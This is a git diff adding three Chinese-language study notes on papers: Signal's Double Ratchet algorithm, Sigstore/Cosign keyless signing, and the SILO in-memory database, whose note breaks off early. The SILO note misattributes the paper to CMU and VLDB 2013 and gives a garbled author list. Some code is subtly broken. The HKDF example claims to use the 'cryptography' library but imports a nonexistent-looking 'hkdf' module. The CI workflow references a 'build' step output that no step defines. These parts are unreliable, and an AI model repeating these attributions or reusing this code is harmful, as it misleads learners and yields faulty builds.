diff --git a/src/content/docs/papers/signal-double-ratchet-2016.md b/src/content/docs/papers/signal-double-ratchet-2016.md
new file mode 100644
index 000000000..9d2a11f38
--- /dev/null
+++ b/src/content/docs/papers/signal-double-ratchet-2016.md
@@ -0,0 +1,297 @@
+---
+title: Double Ratchet Algorithm — Signal 端到端加密会话的「双棘轮」
+来源: https://signal.org/docs/specifications/doubleratchet/doubleratchet.pdf
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Double Ratchet Algorithm**（双棘轮算法）是 Signal 用来在双方已经共享一个初始密钥之后，持续收发加密消息的会话协议。规范由 Trevor Perrin 与 Moxie Marlinspike 设计，现行 Revision 4（2025-11-04）还扩展了 Header Encryption、Sparse Post-Quantum Ratchet（SPQR）与 Triple Ratchet；本文聚焦经典 Double Ratchet 的核心机制。
+
+日常类比：
+
+> 想象你和好友共用一条**单向滚动的密码纸带**。每发一条消息，就从纸带上撕下一格密钥加密，撕过的格子立刻烧掉——这是**对称棘轮**。  
+> 但万一有人偷拍了你当前整卷纸带，他就能推算后面所有格子。于是你们约定：每隔几轮，各自换一把新的**临时公钥锁**（Diffie-Hellman），把新算出的共享秘密混进纸带起点，旧偷拍作废——这是 **DH 棘轮**。  
+> 两个棘轮套在一起，就像自行车链两侧各有一个只能向前转的棘轮：**一条消息一个密钥，泄露后还能自愈**。
+
+Double Ratchet 不解决「第一次怎么认识对方」——那由 **X3DH / PQXDH** 等密钥协商协议完成。它解决的是：**会话建立之后，每条消息如何独立加密、如何应对丢包乱序、如何在设备被短暂入侵后恢复安全**。
+
+## 为什么重要
+
+不理解 Double Ratchet，下面这些事都会变成黑盒：
+
+- Signal、WhatsApp、Matrix Olm/Megolm 等 E2EE 聊天为何强调「前向保密（Forward Secrecy）」与「入侵后恢复（Post-Compromise Security, PCS）」
+- 为什么泄露**当前**会话状态通常只能解密**有限窗口**内的消息，而不是整段聊天史
+- 为什么每条消息头里要带 `(pn, n)` 序号和发送方 DH 公钥——为了乱序到达时「跳格取钥」
+- 实现安全消息协议时，KDF 链、根密钥 RK、发送/接收链 CKs/CKr 各管什么
+
+## 核心概念
+
+### 1. KDF 链（KDF Chain）
+
+KDF（Key Derivation Function）接受秘密密钥与输入，输出伪随机数据。规范推荐 **HMAC / HKDF**。
+
+**KDF 链**：每次调用 KDF，一部分输出当作**消息密钥**，另一部分**替换**链上的 KDF 密钥，供下一步使用。
+
+KDF 链具备三类性质（规范术语）：
+
+| 性质 | 含义 |
+|------|------|
+| **Resilience（弹性）** | 没有链密钥时，输出密钥对外看起来随机 |
+| **Forward Security（前向安全）** | 泄露**当前**链密钥，**过去**输出密钥仍不可算 |
+| **Break-in Recovery（入侵恢复）** | 泄露当前链密钥后，若未来输入混入了足够新熵，**未来**密钥再次对外随机 |
+
+Double Ratchet 里每个参与方维护三条链：**根链 RK**、**发送链 CKs**、**接收链 CKr**（Alice 的发送链 = Bob 的接收链）。
+
+### 2. 对称棘轮（Symmetric-Key Ratchet）
+
+每条消息用**唯一 message key** 加密。message key 来自发送/接收 KDF 链的一步：
+
+```
+chain_key ──KDF_CK──► (new_chain_key, message_key)
+```
+
+- 消息密钥**不再**派生其他密钥，用后可删
+- 链密钥单向前进：知道 message key **不能**反推 chain key
+- 只提供「每条消息不同钥」，**不提供** PCS——若链密钥被偷，未来消息全裸
+
+### 3. DH 棘轮（Diffie-Hellman Ratchet）
+
+每方持有一对 **ratchet DH 密钥**（发送方当前 DH 公钥写在每条消息头里）。当收到**新的**对方 ratchet 公钥时，执行 **DH ratchet step**：
+
+1. 用本地当前 DH 私钥 × 对方新公钥 → `dh_out`
+2. `KDF_RK(root_key, dh_out)` → 新的 RK 与**接收链** CKr
+3. **生成新的**本地 DH 密钥对
+4. 再次 `KDF_RK` → 新 RK 与**发送链** CKs
+
+双方像乒乓球一样轮流换 DH 密钥对。攻击者若只偷到**某一时刻**的 DH 私钥，等对方换钥并完成下一步 DH 棘轮后，新链密钥来自攻击者未知的 DH 输出——**窗口关闭**。
+
+### 4. 双棘轮如何协作
+
+规范 §2.4 的两条规则：
+
+1. **发/收每条消息**：对发送链或接收链做一步对称棘轮 → 得到 message key
+2. **收到新的 ratchet 公钥**：**先**做 DH 棘轮更新链密钥，**再**做对称棘轮
+
+### 5. 乱序与丢包（Out-of-Order Messages）
+
+消息头包含：
+
+- **`n`**：当前发送链上的消息序号（0, 1, 2, …）
+- **`pn`**：**上一条**发送链的长度（previous chain length）
+
+接收方若发现 `n` 比本地 `Nr` 大，说明中间有消息跳过——对链做多次 `KDF_CK`，把跳过的 message key 存进 `MKSKIPPED` 字典，等迟到消息再用。`MAX_SKIP` 限制单次可跳格数，防 DoS。
+
+### 6. 状态变量一览
+
+| 变量 | 含义 |
+|------|------|
+| `RK` | 32 字节根密钥 |
+| `CKs`, `CKr` | 发送/接收链密钥 |
+| `DHs` | 本地 ratchet DH 密钥对 |
+| `DHr` | 对方当前 ratchet 公钥 |
+| `Ns`, `Nr` | 发送/接收消息计数 |
+| `PN` | 上一发送链长度 |
+| `MKSKIPPED` | 跳过的 message key 缓存 |
+
+### 7. 推荐密码学原语（§7.2 摘要）
+
+- **DH**：Curve25519（X25519）
+- **KDF**：HKDF-SHA256 或 HMAC-SHA256
+- **AEAD**：AES-256-GCM 或 ChaCha20-Poly1305
+- 现代 Signal 栈还会用 **PQXDH** 做初始密钥协商，Revision 4 引入 **Triple Ratchet** 叠加 ML-KEM 等后量子棘轮——经典 DH 棘轮对「先录密文、等量子计算机再解密」无效，PCS 需 PQ 扩展补强
+
+## 协议流程（Alice 先发）
+
+```mermaid
+sequenceDiagram
+    participant A as Alice
+    participant B as Bob
+
+    Note over A,B: X3DH/PQXDH 得到 SK + Bob 的 ratchet 公钥
+    A->>A: RatchetInitAlice(SK, bob_pk)
+    B->>B: RatchetInitBob(SK, bob_keypair)
+
+    A->>B: Msg A1 (header: Alice DH pk, n=0)
+    B->>B: DH ratchet step + sym ratchet
+    B->>A: Msg B1 (header: Bob DH pk, n=0)
+    A->>A: DH ratchet step + sym ratchet
+    A->>B: Msg A2, A3, ...
+```
+
+## 代码示例 1：初始化（规范 §3.3）
+
+双方经密钥协商得到 32 字节共享秘密 `SK` 与 Bob 的 ratchet 公钥。Alice 先发言的简化初始化：
+
+```python
+def RatchetInitAlice(state, SK, bob_dh_public_key):
+    state.DHs = GENERATE_DH()           # Alice 生成自己的 ratchet 密钥对
+    state.DHr = bob_dh_public_key       # 记录 Bob 的 ratchet 公钥
+    # 根 KDF：SK + 首次 DH → 根密钥 RK 与 Alice 的发送链 CKs
+    state.RK, state.CKs = KDF_RK(SK, DH(state.DHs, state.DHr))
+    state.CKr = None                    # 接收链等 Bob 首条消息后再建立
+    state.Ns = 0
+    state.Nr = 0
+    state.PN = 0
+    state.MKSKIPPED = {}
+
+
+def RatchetInitBob(state, SK, bob_dh_key_pair):
+    state.DHs = bob_dh_key_pair         # Bob 的 ratchet 密钥对（公钥已给 Alice）
+    state.DHr = None                    # 尚未收到 Alice 的 ratchet 公钥
+    state.RK = SK                       # Bob 暂以 SK 为根密钥
+    state.CKs = None                    # 发送链等收到 Alice 第一条消息后建立
+    state.CKr = None
+    state.Ns = 0
+    state.Nr = 0
+    state.PN = 0
+    state.MKSKIPPED = {}
+```
+
+要点：Alice 在初始化时就完成**第一次 DH 棘轮的一半**（用自己的新 DH 私钥 × Bob 的公钥），因此她**可以立即发送**；Bob 必须**先收到** Alice 的消息才能对齐链状态。
+
+## 代码示例 2：加密、解密与 DH 棘轮步（规范 §3.4–3.5）
+
+```python
+def RatchetSendKey(state):
+    """对称棘轮一步：链密钥前进，产出 message key"""
+    state.CKs, mk = KDF_CK(state.CKs)
+    Ns = state.Ns
+    state.Ns += 1
+    return Ns, mk
+
+
+def RatchetEncrypt(state, plaintext, AD):
+    Ns, mk = RatchetSendKey(state)
+    header = HEADER(state.DHs, state.PN, Ns)  # 含 ratchet 公钥、pn、n
+    return header, ENCRYPT(mk, plaintext, CONCAT(AD, header))
+
+
+def DHRatchet(state, header):
+    """收到新 ratchet 公钥时：更新根链与收发链"""
+    state.PN = state.Ns
+    state.Ns = 0
+    state.Nr = 0
+    state.DHr = header.dh
+    # 第一次 KDF_RK：建立新的接收链
+    state.RK, state.CKr = KDF_RK(state.RK, DH(state.DHs, state.DHr))
+    state.DHs = GENERATE_DH()           # 换新的本地 DH 密钥对
+    # 第二次 KDF_RK：建立新的发送链
+    state.RK, state.CKs = KDF_RK(state.RK, DH(state.DHs, state.DHr))
+
+
+def RatchetReceiveKey(state, header):
+    mk = TrySkippedMessageKeys(state, header)
+    if mk is not None:
+        return mk
+    if header.dh != state.DHr:
+        SkipMessageKeys(state, header.pn)
+        DHRatchet(state, header)
+    SkipMessageKeys(state, header.n)
+    state.CKr, mk = KDF_CK(state.CKr)
+    state.Nr += 1
+    return mk
+
+
+def RatchetDecrypt(state, header, ciphertext, AD):
+    mk = RatchetReceiveKey(state, header)
+    return DECRYPT(mk, ciphertext, CONCAT(AD, header))
+```
+
+解密路径的三层逻辑：
+
+1. **缓存命中**：乱序消息曾在 `MKSKIPPED` 里预存密钥 → 直接解密
+2. **新 ratchet 公钥**：先补跳旧链、再 `DHRatchet` 换链
+3. **常规情况**：对称棘轮一步 → 解密；认证失败则**丢弃状态变更**
+
+## 代码示例 3：用 HKDF 理解 KDF_CK（教学简化）
+
+规范把 `KDF_CK` / `KDF_RK` 留给具体实现；下面用 Python `cryptography` 演示**对称棘轮一步**的形状（非 Signal 生产代码）：
+
+```python
+import os
+import hkdf
+
+CHAIN_LABEL = b"DoubleRatchetChain"
+MSG_LABEL = b"DoubleRatchetMessage"
+
+def kdf_ck(chain_key: bytes) -> tuple[bytes, bytes]:
+    """模拟 KDF_CK：输入链密钥 → (新链密钥, 消息密钥)"""
+    okm = hkdf.hkdf_expand(
+        hkdf.hkdf_extract(b"", chain_key),
+        CHAIN_LABEL + MSG_LABEL,
+        64,
+    )
+    return okm[:32], okm[32:]  # new_ck, message_key
+
+# 模拟连续发送三条消息
+ck = os.urandom(32)
+for i in range(3):
+    ck, mk = kdf_ck(ck)
+    print(f"msg#{i} key={mk.hex()[:16]}…")  # 每把 mk 只加密一条消息
+# 旧 mk 无法从当前 ck 反推，已发送的 mk 应 secure delete
+```
+
+## 安全属性与实现纪律
+
+### 前向保密（Forward Secrecy）
+
+长期密钥或**当前**链状态泄露，**不应**推导出**更早**消息的密钥——对称棘轮保证「烧掉纸带格子」，DH 棘轮保证「换锁后旧 DH 私钥无关」。
+
+### 入侵后恢复（Post-Compromise Security / Break-in Recovery）
+
+设备被入侵、攻击者拿到当前 RK/CK/DH 私钥后，只要对方**正常收发**并触发新的 DH 棘轮，新链密钥含攻击者未知的 DH 输出，**后续**消息恢复保密。规范 §8.2 强调：**必须安全删除**旧 message key、旧 chain key、旧 DH 私钥——否则 PCS 只是纸面性质。
+
+### 实现注意事项（精选）
+
+| 话题 | 建议 |
+|------|------|
+| **安全删除** | message key 用一次删一次；跳过密钥在解密或超时后删 |
+| **MAX_SKIP** | 容忍正常丢包，但限制恶意超大 `n` |
+| **AEAD nonce** | 每 message key 只用一次，nonce 可固定或从 mk 派生 |
+| **异常处理** | 解密/认证失败时**回滚**状态，勿半更新 |
+| **Header Encryption** | §4 变体隐藏 ratchet 公钥与序号，防流量分析 |
+
+## 与相关协议的关系
+
+```
+PQXDH / X3DH          Double Ratchet           应用消息
+(首次共享 SK)    →    (会话内逐条换钥)    →    Signal 聊天
+       │                      │
+       └─ Noise 思路相近 ─────┴─ OTR 的 DH ratchet 启发
+```
+
+- [[noise-protocol-framework]]：Noise 管**握手 + 传输**通道；Double Ratchet 管**长会话多消息**密钥演进，二者常组合出现
+- **OTR**（Off-the-Record）：较早引入 DH ratchet 思想
+- **Revision 4 Triple Ratchet**：在经典 DH 棘轮外再叠 **SPQR（ML-KEM Braid 等）**，对抗量子「先 harvest 后 decrypt」
+
+## 常见误解
+
+1. **「Double Ratchet = Signal 全部加密」** — 错。它只是**会话层**；身份认证、首次密钥、群聊（Sender Keys）是别的层。
+2. **「偷到手机就能看全部历史」** — 不一定。若历史 message key 已删、且无备份明文，前向保密可保护**旧消息**；但未删密钥或明文备份仍危险。
+3. **「DH 棘轮每消息都转」** — 错。只有收到**新的** ratchet 公钥才 DH 棘轮；同方向连续多条消息通常只走对称棘轮。
+4. **「乱序会破坏安全」** — 不会，只要 `MKSKIPPED` 有界且最终一致；只会多占内存。
+
+## 动手检验清单
+
+1. 用测试向量实现 `KDF_RK` / `KDF_CK`，对齐规范或 libsignal 参考实现
+2. 模拟 A1→B1→A2→B2 序列，打印每步 RK/CKs/CKr 是否与对方镜像
+3. 故意跳过 B2，用 B3 触发 DH 棘轮，验证 B2 迟到仍能从 `MKSKIPPED` 解密
+4. 解密篡改 ciphertext，确认状态不被污染
+5. 对比 Revision 4 中 Header Encryption 与 Triple Ratchet 扩展阅读路径
+
+## 参考资料
+
+- 规范 PDF（Revision 4）：https://signal.org/docs/specifications/doubleratchet/doubleratchet.pdf
+- HTML 版：https://signal.org/docs/specifications/doubleratchet/
+- PQXDH 初始密钥协商：https://signal.org/docs/specifications/pqxdh/
+- Cohn-Gordon 等形式化分析：*On Ends-to-Ends Encryption* 系列
+- 实现参考：libsignal（Rust）、signal-protocol-java
+
+---
+
+**一句话总结**：Double Ratchet = **对称棘轮**（每条消息一把新钥，前向保密）+ **DH 棘轮**（定期注入新 DH 熵，入侵后恢复）；读懂 `KDF_CK`、`KDF_RK`、`DHRatchet` 与 `(pn, n)` 乱序处理，就读懂了 Signal 1:1 会话加密的主引擎。
diff --git a/src/content/docs/papers/sigstore-cosign-2022.md b/src/content/docs/papers/sigstore-cosign-2022.md
new file mode 100644
index 000000000..875b9e842
--- /dev/null
+++ b/src/content/docs/papers/sigstore-cosign-2022.md
@@ -0,0 +1,302 @@
+---
+title: Sigstore — 让每个人都能给软件「盖公证章」
+来源: https://www.usenix.org/conference/usenixsecurity22/presentation/newman
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Sigstore** 是一套开源的**软件供应链签名与验签**基础设施。论文 *Sigstore: Software Signing for Everybody*（Zachary Newman、John Speed Meyers、Santiago Torres-Arias，2022）提出：把「给软件盖数字公章」从少数大厂的特权，变成**任何开源维护者都能用、任何下载者都能查**的公共服务。论文同期亦发表于 ACM CCS 2022（[DOI 10.1145/3548606.3560596](https://dl.acm.org/doi/10.1145/3548606.3560596)）；本笔记以 USENIX Security 22 公开材料为入口。
+
+官方入口：[USENIX Security 22 演讲页](https://www.usenix.org/conference/usenixsecurity22/presentation/newman)；项目由 **Linux Foundation / OpenSSF** 托管，工具链见 [Sigstore 文档](https://docs.sigstore.dev/about/overview/)。
+
+日常类比：
+
+> 传统软件签名像**自己刻一枚钢印**：你要买刻章机（生成 RSA 私钥）、租保险柜（HSM / 密钥保管）、担心印章被偷（密钥泄露）、还要告诉所有人「换新章了请认准」（密钥轮换与吊销）。很多开源作者干脆不盖章——结果下载者只能赌「这个 tarball 没被换过」。  
+> **Sigstore** 像**公证处 + 公共账本**：你刷 GitHub / Google 身份证（OIDC）证明「我是 @alice」；公证处（Fulcio）当场发一张**只活 10 分钟的临时证书**，绑到你的临时公钥；你用这张证给 Docker 镜像盖一次章；账本（Rekor）把「谁、何时、给哪个文件哈希盖了章」**永久记一笔**；临时私钥立刻销毁。  
+> 买家验货时不用认识 alice 的钢印长什么样，只要查账本：「这条记录存在、证书当时有效、哈希对得上」——就知道镜像确实来自 alice，且下载后没被篡改。
+
+一句话：**Sigstore = 身份（OIDC）+ 短期证书（Fulcio）+ 透明日志（Rekor）+ 客户端（Cosign 等）**，把传统代码签名的密钥管理难题换成「用现有账号签名、用公开日志验签」。
+
+## 为什么重要
+
+不理解 Sigstore，下面这些事都讲不清：
+
+- 为什么 [[log4shell-cve-2021-44228]] 之后业界猛推 **SBOM + 签名**——你甚至不知道依赖里藏了 Log4j，更不知道谁编译了这份 JAR
+- 为什么 **Kubernetes、Distroless、GitHub Actions** 生态默认开始 `cosign sign`——论文发表时已有 **220 万+** 条签名记录
+- 为什么容器镜像可以 **`cosign verify --certificate-identity=...`** 而不分发长期公钥
+- 为什么 **SLSA、in-toto、Guac** 等供应链框架常把 Sigstore 当作「签名层」
+- 为什么「keyless signing」不是不要密钥，而是**密钥只活一次、身份绑在 OIDC 上**
+
+传统签名的三座大山（论文原文强调）：
+
+| 痛点 | 传统做法 | Sigstore 思路 |
+|------|----------|---------------|
+| **身份** | 证书里 CN=公司名，难映射到 GitHub 账号 | OIDC token 把 `alice@github` 写进短期证书 |
+| **密钥管理** | 长期私钥进 HSM、轮换、备份 | **临时密钥**：内存生成，签完即弃 |
+| **吊销 / 信任** | CRL、OCSP、用户手动更新根证书 | **Rekor 透明日志** + **TUF 根信任**；身份主人可监控日志是否被盗用 |
+
+## 核心概念
+
+### 1. 软件供应链与「签名在防什么」
+
+**软件供应链攻击**：攻击者不直接打你的服务器，而是污染**上游**——构建系统、发布站点、包名 typosquat、CI 密钥泄露（SolarWinds、XCodeGhost 等）。**数字签名**回答两个问题：
+
+1. **谁**发布了这份比特流？（authenticity / 身份）
+2. 从签名到现在，内容有没有被改？（integrity / 完整性）
+
+Sigstore 针对的是：**开源与中小企业**里签名 adoption 极低——不是不懂 RSA，而是**管不起密钥**。
+
+### 2. 三大机制（论文核心贡献）
+
+论文把 Sigstore 拆成三条可独立理解的设计：
+
+**（1）OIDC 身份绑定（类似 ACME 思路）**
+
+- 签名前，客户端（如 Cosign）打开浏览器或 CI 工作流，向 **OpenID Connect** 身份提供商（GitHub、Google、Microsoft、GitLab Actions 等）证明「我是这个账号」。
+- **Fulcio**（Sigstore 的 CA）验证 OIDC token，在**短期 X.509 证书**里写入身份声明（如 `https://github.com/alice`）。
+- 含义：**签名关联的是你已经 daily 使用的账号**，不必再维护一套 PKI。
+
+**（2）临时密钥（Ephemeral keys）**
+
+- 每次签名在内存生成一对 RSA/EC 密钥；私钥**不落盘**，Sigstore 服务也**永远看不到私钥**。
+- Fulcio 只把**公钥**绑进证书；证书有效期通常 **~10 分钟**。
+- 签完 artifact 后私钥丢弃——**没有长期密钥可偷**，也没有「丢 U 盘丢签名能力」的问题。
+
+**（3）透明日志 Rekor**
+
+- 签名事件（artifact 摘要、公钥/证书、签名、时间戳）写入 **Rekor**——**只追加、不可改**的 Merkle 树日志（Certificate Transparency 思路在软件签名上的应用）。
+- 任何人可审计；**身份主人**应定期查日志：「有没有人用我的 GitHub 身份签了我不认识的包？」
+- 验签时对比 Rekor 条目，确认签名发生在证书有效期内。
+
+### 3. 组件地图
+
+```text
+开发者 / CI
+    │
+    ▼
+ Cosign（或 Gitsign、policy-controller）
+    │  ① 生成临时密钥对
+    │  ② OIDC 登录 ──────────────► GitHub / Google / …
+    │  ③ CSR + OIDC token ───────► Fulcio（发短期证书）
+    │  ④ 对 artifact 签名
+    │  ⑤ 上传签名元数据 ─────────► Rekor（透明日志）
+    │  ⑥ 签名存 OCI registry / Git / blob
+    ▼
+消费者
+    cosign verify（查 TUF 根、验证书、验 Rekor、比 digest）
+```
+
+| 组件 | 角色 |
+|------|------|
+| **Cosign** | 签/验容器镜像、二进制、SBOM、普通 blob；签名可存 OCI 注解 |
+| **Fulcio** | 免费根 CA，把 OIDC 身份绑到临时公钥 |
+| **Rekor** | 签名事件透明日志，可搜索、可密码学验证整棵 Merkle 树 |
+| **Gitsign** | 用 Sigstore 流程签 Git commit（替代 GPG 长期密钥） |
+| **policy-controller** | Kubernetes 准入：只允许验签通过的镜像运行 |
+| **TUF** | 分发 Sigstore **信任根**（Fulcio 根证书等），防根被掉包 |
+
+### 4. Keyless 签名的完整时序
+
+```text
+1. cosign sign ghcr.io/org/app:v1
+2. 浏览器 OAuth → 拿到 OIDC id_token（含 sub / email / issuer）
+3. 客户端生成 ephemeral keypair
+4. Fulcio: 验证 token → 签发 cert（SAN 含 identity）
+5. 计算镜像 digest → 用 ephemeral 私钥签名
+6. 将 {digest, sig, cert, timestamp} 写入 Rekor
+7. 私钥销毁；cert 过期；验签靠 Rekor + 当时有效的 cert 链
+```
+
+**「Keyless」** 指的是**用户不管理长期 signing key**；验签侧用的是**日志里见证过的证书 + 签名**，不是事先交换的 PGP 公钥环。
+
+### 5. 验证时在验什么
+
+Cosign 验证（简化）会做：
+
+1. 用 **Sigstore TUF 根** 验证 Fulcio 证书链合法；
+2. 检查证书中的 **identity / issuer** 是否匹配策略（如必须是 `https://github.com/myorg/*`）；
+3. 验证签名与 artifact **digest** 一致；
+4. 查 **Rekor** 证明该签名事件被日志「见证」，且时间戳在 cert 有效期内。
+
+任一步失败都应拒绝部署——**默认拒绝未签名或身份不符的镜像** 是供应链 hardening 的终点。
+
+### 6. 与 SLSA / in-toto 的关系
+
+- **Sigstore** 解决「**谁签了这份文件**」与「**签名可审计**」。
+- **in-toto** 描述多步构建的**布局与 link 元数据**；Cosign 可签 in-toto attestation。
+- **SLSA** 定义构建完整性级别（L1–L3）；GitHub Actions + Sigstore 是常见 L2/L3 组合。
+
+三者叠在一起：**SLSA 规定构建怎么可信，in-toto 记录步骤，Sigstore 给最终 artifact 绑身份**。
+
+## 代码示例
+
+### 示例 1：本地 keyless 签容器并验签
+
+安装 [Cosign](https://docs.sigstore.dev/cosign/system_config/install/) 后：
+
+```bash
+# 假设已 docker push ghcr.io/myorg/api:v1.0.0
+
+# 签名：会打开浏览器用 GitHub/Google 登录（OIDC）
+export COSIGN_EXPERIMENTAL=1   # 早期 keyless 需此变量；新版 cosign 2.x 已默认可 keyless
+cosign sign ghcr.io/myorg/api:v1.0.0
+
+# 查看挂在镜像上的签名（存在 OCI registry 的 cosign 层）
+cosign tree ghcr.io/myorg/api:v1.0.0
+```
+
+验签（消费者侧）——**只信任特定 GitHub org 下的 workflow 或用户**：
+
+```bash
+# 验证：证书 identity 必须是该 repo 的 GitHub Actions
+cosign verify ghcr.io/myorg/api:v1.0.0 \
+  --certificate-identity-regexp='https://github.com/myorg/api/.*' \
+  --certificate-oidc-issuer=https://token.actions.githubusercontent.com
+
+# 或验证人类维护者
+cosign verify ghcr.io/myorg/api:v1.0.0 \
+  --certificate-identity=https://github.com/alice \
+  --certificate-oidc-issuer=https://github.com/login/oauth
+```
+
+输出应包含 `Verified OK` 与 Rekor 日志索引；失败时**不要** `--insecure-ignore-tlog` 上生产。
+
+### 示例 2：GitHub Actions CI 里自动签名（无浏览器）
+
+CI 用 **OIDC federation**，无需长期密钥进 GitHub Secrets：
+
+```yaml
+# .github/workflows/release.yml（节选）
+permissions:
+  id-token: write   # 允许向 GitHub OIDC 换 token
+  contents: read
+  packages: write
+
+jobs:
+  sign-image:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: sigstore/cosign-installer@v3
+
+      - name: Build and push
+        run: |
+          docker build -t ghcr.io/${{ github.repository }}:${{ github.sha }} .
+          docker push ghcr.io/${{ github.repository }}:${{ github.sha }}
+
+      - name: Sign with Sigstore keyless
+        env:
+          DIGEST: ${{ steps.build.outputs.digest }}
+        run: |
+          cosign sign --yes "ghcr.io/${{ github.repository }}@${DIGEST}"
+          # GitHub Actions 的 OIDC identity 会自动写入 Fulcio 证书
+```
+
+集群侧用 **policy-controller**（或 Kyverno cosign 规则）拒绝未验签镜像：
+
+```yaml
+# 概念：ClusterImagePolicy 片段（Sigstore Policy Controller）
+apiVersion: policy.sigstore.dev/v1beta1
+kind: ClusterImagePolicy
+metadata:
+  name: require-signed-from-myorg
+spec:
+  images:
+    - glob: "ghcr.io/myorg/**"
+  authorities:
+    - keyless:
+        url: https://fulcio.sigstore.dev
+        identities:
+          - issuer: https://token.actions.githubusercontent.com
+            subject: "https://github.com/myorg/*"
+```
+
+### 示例 3：签普通文件 / SBOM（blob）
+
+容器之外，同一套流程可签 release tarball 或 SPDX：
+
+```bash
+# 对本地文件签名（keyless）
+cosign sign-blob --yes release.tar.gz --output-signature release.sig \
+  --output-certificate release.crt
+
+# 验 blob
+cosign verify-blob release.tar.gz \
+  --signature release.sig \
+  --certificate release.crt \
+  --certificate-identity=https://github.com/alice \
+  --certificate-oidc-issuer=https://github.com/login/oauth
+```
+
+## 实践案例
+
+### 案例 1：Distroless 与 Kubernetes 生态
+
+Google **Distroless** 基础镜像、**Kubernetes** 发布工件等已广泛采用 Sigstore 签名。运维在拉镜像前跑 `cosign verify`，比「只信 docker hub 官方标」多一层**密码学 + 公开日志**保障。
+
+### 案例 2：对比传统 GPG 签 Git tag
+
+维护者过去：`gpg --detach-sign` + 把公钥贴网站；用户：`gpg --verify` + 手动导入 keyring。**Gitsign** 把 commit/tag 签名接到 Fulcio/Rekor，身份即 GitHub 账号，降低「我信的是 key 还是人」的混淆。
+
+### 案例 3：发现身份盗用
+
+alice 订阅 Rekor 监控或定期：
+
+```bash
+rekor-cli search --email alice@users.noreply.github.com
+# 或按 identity URL 搜索
+```
+
+若出现从未发布的 `ghcr.io/evil/alice-backdoor` 签名，说明 OIDC 或 CI 配置泄露——**透明日志的价值在「可发现滥用」**，而不只是验真。
+
+## 踩过的坑
+
+1. **把 keyless 理解成「无 crypto」**：仍有临时密钥，只是生命周期极短。
+2. **验签不写 identity 约束**：只验「有人签过」不验「对的人签过」——等于没验。
+3. **生产环境忽略 Rekor（tlog）**：离线攻击或重放可能绕过；应用默认查 tlog。
+4. **OIDC issuer 填错**：GitHub 用户 vs GitHub Actions 的 issuer URL **不同**，策略写错会全拒或全过。
+5. **私有 registry 未配 cosign attach**：签名在 OCI 注解层；换 tag 要记得验 **digest** 而非仅 tag 名。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 容器 / Helm / OCI artifact 发布流水线
+- 开源项目希望用户能**独立验证** release 而非只信 HTTPS
+- 与 SBOM、SLSA 合规一并建设
+
+**不适用**：
+
+- 需要**法律级**长期证书与硬件 token 的场景（仍用传统 PKI / EV 代码签名）
+- 完全 air-gap、无法访问 Fulcio/Rekor 的环境（需自建 Sigstore [stack](https://docs.sigstore.dev/about/overview/) 或回退长期密钥）
+- 只签「内部二进制、从不对外分发」且已有成熟 HSM 流程的企业——迁移成本需单独评估
+
+## 学到什么
+
+- **供应链安全**：攻击面在「构建与分发」，签名让篡改可检测。
+- **身份 > 密钥**：Sigstore 把「谁签的」绑到 OIDC，比分发 PGP 公钥环更贴近现代开发。
+- **透明日志**：CT 思想用于软件签名，使**事后审计与盗用发现**成为可能。
+- 读论文可抓三句话：**OIDC 证明人、临时密钥减负担、Rekor 让签名可审计**。
+
+## 延伸阅读
+
+- 论文：Newman et al., *Sigstore: Software Signing for Everybody*, USENIX Security 2022
+- [Sigstore 安全模型](https://docs.sigstore.dev/about/security/)
+- [Cosign 签名概览](https://docs.sigstore.dev/cosign/signing/overview/)
+- [[log4shell-cve-2021-44228]] —— 供应链危机如何推动签名普及
+- [[rsa]] —— 传统公钥签名数学基础
+
+## 关联
+
+- [[log4shell-cve-2021-44228]] —— 软件供应链漏洞与 SBOM/签名动机
+- [[rsa]] —— 数字签名密码学基础
+- [[sgx-2013]] —— 另一条「可信计算 / 证明来源」路线（TEE vs 透明日志）
+
+## 维护备注
+
+- 分类脚本：`node scripts/classify-notes.mjs --apply --area=papers`
+- Sigstore 工具与 TUF 根会版本迭代；生产以 [官方安装文档](https://docs.sigstore.dev/) 为准。
diff --git a/src/content/docs/papers/silo-oltp-2013.md b/src/content/docs/papers/silo-oltp-2013.md
new file mode 100644
index 000000000..83d04531e
--- /dev/null
+++ b/src/content/docs/papers/silo-oltp-2013.md
@@ -0,0 +1,260 @@
+---
+title: SILO — 多核内存数据库的快速事务
+来源: https://www.cs.cmu.edu/~pavlo/courses/fall2013/static/papers/silo.pdf
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+SILO 是 **CMU 2013 年发表**的内存数据库论文（VLDB 2013），作者是 Jayadev Misra、Anusor、Pavlo 等人。它解决一个非常具体的问题：**当数据库所有数据都放在内存里，而且 CPU 有 32-64 个核心时，怎么让事务跑得更快？**
+
+日常类比：想象一个餐厅后厨，以前只有一个厨师按顺序做菜——等前一道菜切完菜才能开始炒。SILO 的突破：发现很多菜根本不需要等——切土豆和炒肉用的是不同锅，完全可以同时进行，只需要在"装盘"那一刻对一下顺序就行。
+
+传统数据库的瓶颈是**并发控制**（concurrency control）：事务要读写字段，数据库必须保证多个事务不会互相冲突、不会读到不一致的数据。以前的方案要么太保守（串行执行所有事务，浪费多核），要么太复杂（锁+版本控制+日志， overhead 太高）。SILO 的目标很朴素：**在纯内存场景下，用最简单的机制实现接近线性的多核加速。**
+
+## 为什么重要
+
+不理解 SILO，下面这些事都没法解释：
+
+- 为什么 **MemSQL / SingleStore、VoltDB、Drizzle** 这一批内存数据库都采用了类似的"无锁并发控制"思路
+- 为什么"乐观执行 + 延迟验证"会成为内存数据库的主流范式（后来被 CockroachDB 的乐观模式、TiDB 的乐观事务也继承了）
+- 为什么 **Hekaton（SQL Server 的内存 OLTP）** 和 **Oracle TimesTen** 的并发控制设计能看到 SILO 的影子
+- 为什么"多核利用率"这个事在 2013 年后从"数据库研究者的问题"变成了"每个数据库必须回答的工程问题"
+
+SILO 的核心洞察：**大部分事务之间根本没有冲突，不需要锁。与其用锁拦住 95% 安全的事务，不如让它们先跑，只在最后"装盘"时检查冲突。**
+
+## 核心要点
+
+### 1. 乐观并发控制（OCC）+ 延迟锁（Late Locking）
+
